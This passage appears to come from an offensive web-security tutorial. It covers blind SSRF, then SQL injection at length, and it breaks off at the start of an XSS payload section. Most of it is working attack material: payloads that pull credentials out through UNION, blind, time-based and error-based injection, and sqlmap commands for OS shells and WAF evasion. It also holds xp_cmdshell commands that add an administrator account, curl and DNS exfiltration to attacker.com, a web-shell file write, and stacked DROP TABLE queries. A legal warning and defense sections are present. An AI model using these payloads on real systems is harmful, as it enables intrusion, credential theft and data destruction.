// No direct response, but server makes request app.post('/api/webhook', async (req, res) => { const webhookUrl = req.body.url; // Trigger background request fetch(webhookUrl) .then(() => console.log('Webhook sent')) .catch(() => console.log('Webhook failed')); res.json({ success: true }); // No indication of result }); // Attack: Blind SSRF with out-of-band detection POST /api/webhook { "url": "http://attacker.com/ssrf-test" } // Attacker server receives request // Confirms SSRF vulnerability exists // Exfiltrate data via DNS POST /api/webhook { "url": "http://metadata.aws/credentials?callback=http://$(aws-credentials).attacker.com" } // DNS query logs contain credentials // attacker.com DNS logs: // ASIA1234567890EXAMPLE.attacker.com // Time-based blind SSRF POST /api/webhook { "url": "http://internal-server/expensive-operation" } // Measure response time // Long delay = internal server exists and responded // Immediate return = host unreachable // Build internal network map via timing

⚠️ Impact of SSRF

Cloud Credential Theft: Access IAM credentials, API keys

Internal Network Access: Bypass firewalls, reach internal services

Port Scanning: Map internal infrastructure

Data Exfiltration: Read sensitive files, databases

Service Exploitation: Attack internal services (Redis, Memcached, Elasticsearch)

SSRF Prevention

// 1. URL whitelist validation const allowedDomains = ['api.example.com', 'cdn.example.com']; function validateUrl(url) { const parsed = new URL(url); // Only allow HTTPS if (parsed.protocol !== 'https:') { throw new Error('Only HTTPS allowed'); } // Check domain whitelist if (!allowedDomains.includes(parsed.hostname)) { throw new Error('Domain not allowed'); } return url; } // 2. Block private IP ranges function isPrivateIP(ip) { const privateRanges = [ /^10\./, // 10.0.0.0/8 /^172\.(1[6-9]|2[0-9]|3[01])\./, // 172.16.0.0/12 /^192\.168\./, // 192.168.0.0/16 /^127\./, // 127.0.0.0/8 (localhost) /^169\.254\./, // 169.254.0.0/16 (link-local) /^::1$/, // IPv6 localhost /^fc00:/, // IPv6 private ]; return privateRanges.some(range => range.test(ip)); } // Resolve and validate before fetching const dns = require('dns').promises; async function safeFetch(url) { const parsed = new URL(url); const addresses = await dns.resolve4(parsed.hostname); if (addresses.some(isPrivateIP)) { throw new Error('Private IP not allowed'); } return fetch(url); } // 3. Disable dangerous protocols // Only allow HTTP/HTTPS const allowedProtocols = ['http:', 'https:']; if (!allowedProtocols.includes(parsed.protocol)) { throw new Error('Protocol not allowed'); } // 4. Network segmentation // Run fetch service in isolated network // - No access to internal network // - No access to cloud metadata // - DMZ or separate VPC // - Restricted egress firewall rules // 5. Avoid user-controlled URLs // Instead of: GET /api/fetch?url=USER_INPUT // Use: GET /api/fetch?resource_id=123 // Server maps ID to predetermined URL const resourceMap = { '123': 'https://api.example.com/data/123', '456': 'https://cdn.example.com/image/456' }; const url = resourceMap[req.query.resource_id]; if (!url) { throw new Error('Invalid resource ID'); }

🎯 OWASP Top 10 Complete

You've now covered all OWASP Top 10 vulnerabilities - the most critical web application security risks. These aren't theoretical - they're actively exploited in the wild every day. Understanding them isn't optional; it's essential for any web application security professional.

Remember: The OWASP Top 10 is just the starting point. Real-world applications have hundreds of potential vulnerabilities. But master these ten, and you'll have the foundation to find and exploit almost anything.

SQL Injection Mastery

SQL injection is the king of web vulnerabilities - a single quote can give you access to entire databases. From basic injections to blind exploitation, union-based attacks, and time-based techniques, mastering SQLi means being able to extract any data from any poorly-secured database.

Understanding SQL Injection

SQL injection occurs when user input is directly concatenated into SQL queries without proper sanitization. The attacker can break out of the intended query context and inject arbitrary SQL commands, potentially reading, modifying, or deleting database contents.

The Query Construction Metaphor

Think of SQL queries like mad libs - fill-in-the-blank sentences. The application writes: "SELECT * FROM users WHERE username = '____ ' AND password = '____'". When you input normal data, you fill in the blanks normally. But when you inject SQL, you're not playing by the rules - you're writing new sentences entirely, like: "SELECT * FROM users WHERE username = 'admin' --". You just commented out the password check and logged in as admin.

Basic SQL Injection Fundamentals

Testing for SQL Injection

-- Basic test payloads ' -- Single quote causes error " -- Double quote causes error '-- -- Single quote with comment " OR 1=1-- -- Always-true condition ' OR '1'='1 -- Another always-true condition '; DROP TABLE users-- -- Classic destructive test (don't actually do this) admin'-- -- Comment out password check ' UNION SELECT NULL-- -- Test for UNION injection \ -- Backslash escaping test %27 -- URL-encoded single quote

🎯 Identifying SQLi Vulnerable Parameters

SQL injection can occur in GET parameters, POST data, cookies, HTTP headers (User-Agent, Referer, etc.), and even JSON/XML request bodies. Test every input point - developers often forget to sanitize "hidden" parameters like cookies or headers.

Error-Based Detection

-- Inputs that trigger SQL errors ' OR 1=1-- " OR 1=1-- `) OR 1=1-- ')) OR 1=1-- -- MySQL error messages You have an error in your SQL syntax near ''' at line 1 -- PostgreSQL error messages ERROR: unterminated quoted string at or near "'" -- MSSQL error messages Unclosed quotation mark after the character string '' -- Oracle error messages ORA-00933: SQL command not properly ended

Boolean-Based Detection

-- Test with always-true and always-false conditions # Always TRUE (page loads normally) ' OR 1=1-- ' OR 'a'='a'-- admin' OR '1'='1 # Always FALSE (page behaves differently - error or empty results) ' AND 1=2-- ' AND 'a'='b'-- admin' AND '1'='2 # If the page behaves differently between TRUE and FALSE, # you have boolean-based SQL injection

Union-Based SQL Injection

UNION-based SQLi allows you to combine results from your injected query with the original query's results. This is the fastest way to extract data when the application displays query results on the page.

Step 1: Determine Number of Columns

-- Method 1: ORDER BY technique ' ORDER BY 1-- # No error ' ORDER BY 2-- # No error ' ORDER BY 3-- # No error ' ORDER BY 4-- # Error! This means there are 3 columns -- Method 2: UNION SELECT NULL technique ' UNION SELECT NULL-- # Error ' UNION SELECT NULL,NULL-- # Error ' UNION SELECT NULL,NULL,NULL-- # Success! 3 columns confirmed

Step 2: Find Columns with String Data Type

-- Test each column to see which accepts string data ' UNION SELECT 'a',NULL,NULL-- # Column 1 test ' UNION SELECT NULL,'a',NULL-- # Column 2 test - Success! ' UNION SELECT NULL,NULL,'a'-- # Column 3 test -- Now we know column 2 displays string data on the page

Step 3: Extract Database Information

-- MySQL database enumeration ' UNION SELECT NULL,database(),NULL-- # Current database ' UNION SELECT NULL,version(),NULL-- # MySQL version ' UNION SELECT NULL,user(),NULL-- # Current user ' UNION SELECT NULL,@@datadir,NULL-- # Data directory ' UNION SELECT NULL,@@hostname,NULL-- # Hostname ' UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata-- # All databases -- PostgreSQL database enumeration ' UNION SELECT NULL,current_database(),NULL-- # Current database ' UNION SELECT NULL,version(),NULL-- # PostgreSQL version ' UNION SELECT NULL,current_user,NULL-- # Current user ' UNION SELECT NULL,datname,NULL FROM pg_database-- # All databases -- MSSQL database enumeration ' UNION SELECT NULL,db_name(),NULL-- # Current database ' UNION SELECT NULL,@@version,NULL-- # MSSQL version ' UNION SELECT NULL,system_user,NULL-- # Current user ' UNION SELECT NULL,name,NULL FROM sys.databases-- # All databases -- Oracle database enumeration ' UNION SELECT NULL,user,NULL FROM dual-- # Current user ' UNION SELECT NULL,banner,NULL FROM v$version-- # Oracle version ' UNION SELECT NULL,global_name,NULL FROM global_name-- # Database name

Step 4: Extract Table Names

-- MySQL ' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- ' UNION SELECT NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- -- PostgreSQL ' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public'-- ' UNION SELECT NULL,string_agg(table_name,','),NULL FROM information_schema.tables WHERE table_schema='public'-- -- MSSQL ' UNION SELECT NULL,name,NULL FROM sys.tables-- ' UNION SELECT NULL,STRING_AGG(name,','),NULL FROM sys.tables-- -- Oracle ' UNION SELECT NULL,table_name,NULL FROM all_tables-- ' UNION SELECT NULL,LISTAGG(table_name,','),NULL FROM all_tables--

Step 5: Extract Column Names

-- MySQL - extract columns from 'users' table ' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT NULL,GROUP_CONCAT(column_name),NULL FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -- PostgreSQL ' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'-- -- MSSQL ' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT NULL,STRING_AGG(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'-- -- Oracle ' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'--

Step 6: Extract Actual Data

-- MySQL - extract usernames and passwords ' UNION SELECT NULL,username,password FROM users-- ' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- ' UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR ';'),NULL FROM users-- -- Extract specific user ' UNION SELECT NULL,username,password FROM users WHERE username='admin'-- -- Extract with LIMIT for pagination ' UNION SELECT NULL,username,password FROM users LIMIT 0,1-- # First user ' UNION SELECT NULL,username,password FROM users LIMIT 1,1-- # Second user ' UNION SELECT NULL,username,password FROM users LIMIT 2,1-- # Third user -- PostgreSQL ' UNION SELECT NULL,username,password FROM users-- ' UNION SELECT NULL,username || ':' || password,NULL FROM users-- -- MSSQL ' UNION SELECT NULL,username,password FROM users-- ' UNION SELECT NULL,username+':'+password,NULL FROM users-- -- Oracle (requires FROM dual or table) ' UNION SELECT NULL,username,password FROM users-- ' UNION SELECT NULL,username||':'||password,NULL FROM users--

Blind SQL Injection

Blind SQL injection occurs when the application doesn't display query results or error messages. You can't see the data directly, but you can infer it through the application's behavior - either through different responses (boolean-based) or timing differences (time-based).

Boolean-Based Blind SQLi

-- Testing if database name starts with 'u' ' AND SUBSTRING(database(),1,1)='u'-- # If TRUE: normal page ' AND SUBSTRING(database(),1,1)='a'-- # If FALSE: different page -- Extract database name character by character (MySQL) ' AND ASCII(SUBSTRING(database(),1,1))>100-- # Test if first char > 'd' ' AND ASCII(SUBSTRING(database(),1,1))>110-- # Test if first char > 'n' ' AND ASCII(SUBSTRING(database(),1,1))>115-- # Test if first char > 's' ' AND ASCII(SUBSTRING(database(),1,1))=117-- # Test if first char = 'u' (TRUE!) -- Continue for each character position ' AND ASCII(SUBSTRING(database(),2,1))=115-- # Second char = 's' ' AND ASCII(SUBSTRING(database(),3,1))=101-- # Third char = 'e' ' AND ASCII(SUBSTRING(database(),4,1))=114-- # Fourth char = 'r' # Database name: "user" -- Extract table names ' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117-- -- Extract column names from 'users' table ' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=105-- -- Extract password for admin user ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin' LIMIT 0,1),1,1))=97-- ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin' LIMIT 0,1),2,1))=100-- ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin' LIMIT 0,1),3,1))=109--

Time-Based Blind SQLi

When boolean-based blind injection isn't possible (same page for TRUE and FALSE), use time delays. If the page takes longer to load, your condition was TRUE.

-- MySQL time-based payloads ' AND SLEEP(5)-- # Unconditional 5-second delay ' AND IF(1=1,SLEEP(5),0)-- # Conditional delay if TRUE ' AND IF(1=2,SLEEP(5),0)-- # No delay if FALSE -- Test database name character by character ' AND IF(ASCII(SUBSTRING(database(),1,1))=117,SLEEP(5),0)-- # Delays if first char is 'u' ' AND IF(ASCII(SUBSTRING(database(),2,1))=115,SLEEP(5),0)-- # Delays if second char is 's' -- Extract admin password ' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=97,SLEEP(5),0)-- -- PostgreSQL time-based payloads ' AND pg_sleep(5)-- ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE NULL END)-- ' AND (SELECT CASE WHEN (ASCII(SUBSTRING(current_database(),1,1))=117) THEN pg_sleep(5) ELSE NULL END)-- -- MSSQL time-based payloads '; WAITFOR DELAY '00:00:05'-- ' AND IF(1=1,WAITFOR DELAY '00:00:05',0)-- ' AND IF(ASCII(SUBSTRING(db_name(),1,1))=117,WAITFOR DELAY '00:00:05',0)-- -- Oracle time-based payloads ' AND DBMS_LOCK.SLEEP(5)-- ' AND (SELECT CASE WHEN (1=1) THEN DBMS_LOCK.SLEEP(5) ELSE NULL END FROM dual)--

⚠️ Time-Based Injection Is Slow

Extracting a single password hash character-by-character with 5-second delays means each character takes 5-40 seconds to brute force (testing different ASCII values). A 32-character hash could take 30+ minutes to extract. Use shorter delays (1-2 seconds) and binary search optimization when possible.

Optimized Boolean/Time-Based Extraction

-- Binary search approach (faster than linear) -- Instead of testing a=1, a=2, a=3... (up to 255 tests per character) -- Use binary search: a>128? a>64? a>32? (only ~8 tests per character) # Step 1: Test if character > 128 ' AND ASCII(SUBSTRING(database(),1,1))>128-- # FALSE # Step 2: Test if character > 64 ' AND ASCII(SUBSTRING(database(),1,1))>64-- # TRUE # Step 3: Test if character > 96 ' AND ASCII(SUBSTRING(database(),1,1))>96-- # TRUE # Step 4: Test if character > 112 ' AND ASCII(SUBSTRING(database(),1,1))>112-- # TRUE # Step 5: Test if character > 120 ' AND ASCII(SUBSTRING(database(),1,1))>120-- # FALSE # Step 6: Test if character > 116 ' AND ASCII(SUBSTRING(database(),1,1))>116-- # TRUE # Step 7: Test if character = 117 ' AND ASCII(SUBSTRING(database(),1,1))=117-- # TRUE! Character is 'u' -- This reduces from up to 255 tests down to about 8 tests per character

Error-Based SQL Injection

Error-based SQLi exploits verbose database error messages to extract data. Even when the application doesn't display query results, error messages might leak database information.

MySQL Error-Based Extraction

-- EXTRACTVALUE error-based injection ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database()),0x7e))-- ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))-- ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e))-- -- UPDATEXML error-based injection ' AND UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)-- ' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1)-- ' AND UPDATEXML(1,CONCAT(0x7e,(SELECT password FROM users WHERE username='admin'),0x7e),1)-- -- Double query error-based ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x7e,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x)y)-- -- Error message reveals database name: # Duplicate entry 'myapp~1' for key 'group_key'

MSSQL Error-Based Extraction

-- Convert data type error-based extraction ' AND 1=CONVERT(int,(SELECT @@version))-- ' AND 1=CONVERT(int,(SELECT db_name()))-- ' AND 1=CONVERT(int,(SELECT password FROM users WHERE username='admin'))-- -- Error message example: # Conversion failed when converting the nvarchar value 'admin123' to data type int -- XML PATH error-based ' UNION SELECT NULL,NULL,NULL WHERE 1=2 UNION SELECT name,NULL,NULL FROM sys.databases FOR XML PATH('')--

PostgreSQL Error-Based Extraction

-- Cast error-based extraction ' AND 1=CAST((SELECT version()) AS int)-- ' AND 1=CAST((SELECT current_database()) AS int)-- ' AND 1=CAST((SELECT password FROM users WHERE username='admin') AS int)-- -- Error reveals data: # ERROR: invalid input syntax for type integer: "PostgreSQL 13.2"

Second-Order SQL Injection

Second-order SQLi occurs when malicious input is stored in the database without being sanitized, then later retrieved and used in an unsafe SQL query. The injection doesn't execute immediately - it waits for the second query.

-- Example vulnerable application flow: # Step 1: User registration (payload is stored, not executed) Username: admin'-- Email: attacker@evil.com Password: password123 # The application stores this in database: INSERT INTO users (username, email, password) VALUES ('admin\'--', 'attacker@evil.com', 'hash') # Step 2: Password reset functionality (vulnerable query) # When user requests password reset, application does: SELECT email FROM users WHERE username = '$username' # Since username from database is: admin'-- # The actual executed query becomes: SELECT email FROM users WHERE username = 'admin'--' # This returns admin's email, allowing account takeover!

Second-Order Attack Scenarios

-- Payload in user profile fields Name: admin'-- Bio: ' UNION SELECT password FROM admin_users-- Location: ' OR 1=1-- -- Payload in filename uploads filename: document'; DROP TABLE users--'.pdf -- Payload in comments/posts Comment: ' UNION SELECT credit_card FROM payments-- -- Payload in search history Search term: ' OR '1'='1 -- These payloads get stored, then executed when: # - Profile is displayed to admin # - File is processed in reports # - Comments are displayed in admin panel # - Search history is analyzed # - Data is exported/imported

🎯 Finding Second-Order SQLi

Look for areas where user input is stored, then used in different contexts: profile fields displayed in admin panels, filenames used in download scripts, comments shown in moderation interfaces, or any "stored then retrieved" data flow. Test with payloads like admin'-- or test' OR '1'='1 and watch for unusual behavior when that data is later used.

SQLMap: Automated SQL Injection

SQLMap is the industry-standard tool for automated SQL injection exploitation. It can detect and exploit SQLi vulnerabilities across all major database engines, using every injection technique automatically.

Basic SQLMap Usage

# Basic URL scan sqlmap -u "http://example.com/page.php?id=1" # POST request injection sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass" # Scan with cookie authentication sqlmap -u "http://example.com/profile.php?id=1" --cookie="PHPSESSID=abcd1234" # Test specific parameter sqlmap -u "http://example.com/page.php?id=1&category=news" -p id # Use GET request from file sqlmap -r request.txt # Bypass WAF with random user agents and delays sqlmap -u "http://example.com/page.php?id=1" --random-agent --delay=2 --tamper=space2comment

Database Enumeration with SQLMap

# List all databases sqlmap -u "http://example.com/page.php?id=1" --dbs # Get current database sqlmap -u "http://example.com/page.php?id=1" --current-db # Get current user sqlmap -u "http://example.com/page.php?id=1" --current-user # Check if current user is DBA sqlmap -u "http://example.com/page.php?id=1" --is-dba # List database users sqlmap -u "http://example.com/page.php?id=1" --users # List and crack password hashes sqlmap -u "http://example.com/page.php?id=1" --passwords # List all tables in database 'webapp' sqlmap -u "http://example.com/page.php?id=1" -D webapp --tables # List columns in 'users' table sqlmap -u "http://example.com/page.php?id=1" -D webapp -T users --columns # Dump entire 'users' table sqlmap -u "http://example.com/page.php?id=1" -D webapp -T users --dump # Dump specific columns sqlmap -u "http://example.com/page.php?id=1" -D webapp -T users -C username,password --dump # Dump all databases (takes time!) sqlmap -u "http://example.com/page.php?id=1" --dump-all # Search for columns across all databases sqlmap -u "http://example.com/page.php?id=1" --search -C password,email,credit

Advanced SQLMap Techniques

# Force specific injection technique sqlmap -u "http://example.com/page.php?id=1" --technique=U # UNION-based only sqlmap -u "http://example.com/page.php?id=1" --technique=B # Boolean-based only sqlmap -u "http://example.com/page.php?id=1" --technique=T # Time-based only sqlmap -u "http://example.com/page.php?id=1" --technique=E # Error-based only sqlmap -u "http://example.com/page.php?id=1" --technique=BEUST # All techniques # Test specific DBMS sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql sqlmap -u "http://example.com/page.php?id=1" --dbms=postgresql sqlmap -u "http://example.com/page.php?id=1" --dbms=mssql # Use tamper scripts to bypass WAFs sqlmap -u "http://example.com/page.php?id=1" --tamper=between,space2comment sqlmap -u "http://example.com/page.php?id=1" --tamper=apostrophemask,charencode # Popular tamper scripts: # - space2comment: Replace spaces with comments /**/ # - between: Replace > with NOT BETWEEN 0 AND # - charencode: URL encode characters # - apostrophemask: Replace ' with UTF-8 fullwidth ' # - equaltolike: Replace = with LIKE # - uppercase: Convert keywords to uppercase # Execute custom SQL sqlmap -u "http://example.com/page.php?id=1" --sql-query="SELECT @@version" sqlmap -u "http://example.com/page.php?id=1" --sql-query="SELECT user,password FROM mysql.user" # Operating system access (if DBA privileges) sqlmap -u "http://example.com/page.php?id=1" --os-shell # Get OS shell sqlmap -u "http://example.com/page.php?id=1" --os-cmd="whoami" # Execute command sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/passwd" # Read file sqlmap -u "http://example.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php" # Upload file # Registry access (MSSQL/Windows) sqlmap -u "http://example.com/page.php?id=1" --reg-read # Level and risk (1-5, higher = more aggressive) sqlmap -u "http://example.com/page.php?id=1" --level=5 --risk=3 # Level: Number of tests performed # Risk: Likelihood of causing damage (3 includes OR-based queries that could modify data)

SQLMap Request File (request.txt)

POST /login.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=abcd1234 Content-Length: 35 username=admin&password=test123* # The * marks the injection point # Then run: sqlmap -r request.txt

Manual SQL Injection Exploitation

While SQLMap is powerful, manual exploitation gives you precision, stealth, and understanding. Automated tools are noisy and detectable - manual injection lets you fly under the radar.

Manual Exploitation Workflow

# Step 1: Identify injection point http://example.com/product.php?id=1' # Error: SQL syntax error # Step 2: Determine injection type http://example.com/product.php?id=1 AND 1=1-- # Page loads normally http://example.com/product.php?id=1 AND 1=2-- # Page loads differently (Boolean-based confirmed) # Step 3: Count columns (UNION-based) http://example.com/product.php?id=1 ORDER BY 1-- # Success http://example.com/product.php?id=1 ORDER BY 2-- # Success http://example.com/product.php?id=1 ORDER BY 3-- # Success http://example.com/product.php?id=1 ORDER BY 4-- # Error (3 columns confirmed) # Step 4: Find displayable column http://example.com/product.php?id=-1 UNION SELECT 1,2,3-- # Page displays: "2" and "3" - columns 2 and 3 are displayed # Step 5: Extract database information http://example.com/product.php?id=-1 UNION SELECT 1,database(),version()-- # Database: webapp, Version: MySQL 8.0.23 # Step 6: Extract table names http://example.com/product.php?id=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- # Tables: users,products,orders,admin_users # Step 7: Extract columns from users table http://example.com/product.php?id=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- # Columns: id,username,password,email,created_at # Step 8: Extract user credentials http://example.com/product.php?id=-1 UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM users-- # admin:5f4dcc3b5aa765d61d8327deb882cf99 # user:e10adc3949ba59abbe56e057f20f883e # Step 9: Crack password hashes offline # admin:password (MD5) # user:123456 (MD5)

Advanced Manual Techniques

-- Extract data when GROUP_CONCAT is limited (1024 chars in MySQL) # Use LIMIT to extract in chunks ' UNION SELECT 1,CONCAT(username,':',password),3 FROM users LIMIT 0,1-- # First user ' UNION SELECT 1,CONCAT(username,':',password),3 FROM users LIMIT 1,1-- # Second user ' UNION SELECT 1,CONCAT(username,':',password),3 FROM users LIMIT 2,1-- # Third user -- Extract data when WAF blocks keywords # Replace spaces with comments 'UNION/**/SELECT/**/1,database(),3-- # Use alternative syntax 'UNION(SELECT(1),database(),(3))-- # Case variation 'UnIoN SeLeCt 1,database(),3-- # Hex encoding ' UNION SELECT 1,0x61646d696e,3-- # 0x61646d696e = "admin" -- Bypass quote filtering # Use hex values instead of strings ' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=0x7765626170-- # Use CHAR() function ' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=CHAR(119,101,98,97,112)-- -- Out-of-band (OOB) exfiltration (when no output visible) # MySQL with LOAD_FILE + UNC path (Windows) ' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users WHERE username='admin'),'.attacker.com\\a.txt'))-- # DNS exfiltration ' UNION SELECT 1,LOAD_FILE(CONCAT('\\\\',(SELECT hex(password) FROM users LIMIT 1),'.attacker.com\\a')),3-- # Listen for DNS queries at attacker.com to receive data -- Stacked queries (when supported - MSSQL, PostgreSQL) '; DROP TABLE users-- '; INSERT INTO admin_users VALUES ('hacker','password123')-- '; UPDATE users SET password='hacked' WHERE username='admin'--

Database-Specific Exploitation Tricks

-- MySQL: Read files from filesystem ' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- ' UNION SELECT 1,LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts'),3-- -- MySQL: Write files to filesystem (requires FILE privilege) ' UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/shell.php'-- -- PostgreSQL: Execute OS commands (requires superuser) '; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/?data=$(whoami)'-- '; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec-- -- MSSQL: Execute OS commands (requires xp_cmdshell enabled) '; EXEC xp_cmdshell 'whoami'-- '; EXEC xp_cmdshell 'net user hacker password123 /add'-- '; EXEC xp_cmdshell 'net localgroup administrators hacker /add'-- -- MSSQL: Enable xp_cmdshell if disabled '; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE-- -- Oracle: Execute OS commands (Java stored procedures) # Requires elevated privileges and complex setup -- Not commonly exploitable in modern Oracle setups

⚠️ Legal Warning: Authorization Required

SQL injection attacks are illegal without explicit written authorization. These techniques are for authorized penetration testing, CTF competitions, and controlled lab environments only. Unauthorized database access can result in criminal charges, including violations of the Computer Fraud and Abuse Act (CFAA) in the US and similar laws worldwide.

Real-World SQL Injection Case Studies

TalkTalk Breach (2015)

British telecom company suffered SQL injection attack exposing 157,000 customer records. Attackers used basic SQLi techniques to extract names, addresses, phone numbers, and bank details. Company fined Β£400,000 for security failures.

Heartland Payment Systems (2008)

One of the largest payment processors was compromised via SQL injection, leading to theft of 130 million credit card numbers. Attack went undetected for months. Company paid $140 million in damages and fines.

Sony Pictures (2011)

LulzSec hacker group exploited SQL injection vulnerability to breach Sony Pictures, compromising 1 million user accounts. Attackers published stolen data including passwords, email addresses, and personal information publicly.

7-Eleven (2012)

Convenience store chain's website vulnerable to SQL injection. Attackers extracted customer loyalty program data, credit card information, and internal business data. Breach affected multiple countries across their global operations.

SQL Injection Defense Strategies

Parameterized Queries (Prepared Statements)

// VULNERABLE CODE (String Concatenation) $query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'"; $result = mysqli_query($conn, $query); // SECURE CODE (Parameterized Query) $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->bind_param("ss", $_POST['username'], $_POST['password']); $stmt->execute(); $result = $stmt->get_result(); // Python example with parameterized queries # VULNERABLE query = f"SELECT * FROM users WHERE id = {user_id}" cursor.execute(query) # SECURE query = "SELECT * FROM users WHERE id = %s" cursor.execute(query, (user_id,)) // Node.js example with parameterized queries # VULNERABLE const query = `SELECT * FROM users WHERE email = '${email}'`; connection.query(query); # SECURE const query = 'SELECT * FROM users WHERE email = ?'; connection.query(query, [email]);

Input Validation and Sanitization

// Whitelist validation for expected input types function validateID($id) { if (!ctype_digit($id)) { die("Invalid ID format"); } return (int)$id; // Cast to integer } // Whitelist validation for usernames (alphanumeric only) function validateUsername($username) { if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) { die("Invalid username format"); } return $username; } // Escape special characters (LAST RESORT - use parameterized queries instead) $username = mysqli_real_escape_string($conn, $_POST['username']); $password = mysqli_real_escape_string($conn, $_POST['password']);

Database-Level Protections

-- Principle of least privilege -- Create limited database user for web application CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password'; GRANT SELECT, INSERT, UPDATE ON myapp.* TO 'webapp'@'localhost'; -- Do NOT grant DELETE, DROP, FILE privileges -- Disable dangerous features SET GLOBAL local_infile = 0; -- Disable LOAD DATA LOCAL INFILE -- MSSQL: Disable xp_cmdshell EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; -- Use views to limit data exposure CREATE VIEW user_data AS SELECT id, username, email FROM users; GRANT SELECT ON user_data TO 'webapp'@'localhost'; -- Application queries view instead of direct table access

🎯 Defense-in-Depth Strategy

Never rely on a single protection layer. Combine parameterized queries (primary defense), input validation (secondary defense), least-privilege database users (limit damage), WAF/IDS monitoring (detection), and security logging (forensics). Even if one layer fails, others will catch the attack.

SQL Injection Practice Resources

DVWA

Damn Vulnerable Web Application includes SQLi labs at different difficulty levels. Start with low security, progress to medium and high. Excellent for learning both error-based and blind SQLi techniques.

SQLi Labs

Dedicated SQL injection training platform with 75+ challenges. Covers every injection type: error-based, union-based, blind boolean, blind time-based, stacked queries, and second-order SQLi.

PortSwigger Web Security Academy

Free interactive labs covering SQL injection from basics to advanced. Includes blind SQLi, union attacks, examining the database, and even SQLi in different contexts like XML and JSON.

HackTheBox

Real-world vulnerable machines with SQL injection attack vectors. Retired machines like "Popcorn", "Chatterbox", and "Sense" have excellent SQLi learning opportunities in realistic environments.

The SQL Injection Mastery Path

Think of SQL injection mastery like learning to pick locks. First, you learn basic locks (error-based SQLi) - the ones that click obviously when you hit the right pins. Then you learn blind locks (boolean/time-based) - you can't see inside, but you can feel the difference when you're right. Finally, you learn to pick any lock in any situation (UNION, error-based, blind, second-order) and you understand WHY locks work the way they do, so you can improvise tools and techniques on the fly. That's when you become a master - not because you memorized payloads, but because you understand the underlying mechanics so deeply that you can exploit any SQL vulnerability you encounter.

Cross-Site Scripting (XSS)

XSS turns the victim's browser into your weapon. Whether it's stealing cookies, capturing keystrokes, or hijacking entire sessions, XSS gives you the power to execute arbitrary JavaScript in the context of a trusted domain - and that's all you need to own user accounts.

Understanding XSS Types

XSS vulnerabilities come in three primary flavors, each with different attack vectors and persistence characteristics. Understanding these distinctions is crucial for both exploitation and defense.

πŸ”„ Reflected XSS

Non-persistent attacks where malicious scripts are reflected off web servers through URLs, error messages, or search results. Requires social engineering to trick victims into clicking malicious links.

πŸ’Ύ Stored XSS

The most dangerous variant - malicious scripts are permanently stored on the target server (database, message forum, comment field). Every user who views the infected content executes your payload.

🌐 DOM-Based XSS

Client-side attacks that exploit insecure JavaScript code. The vulnerability exists in the client-side script itself, never reaching the server - making it invisible to traditional WAFs.

XSS Attack Vectors & Payloads Library

A comprehensive arsenal of XSS payloads covering basic alerts, filter bypasses, obfuscation techniques, and advanced exploitation scenarios.

Basic XSS Payloads

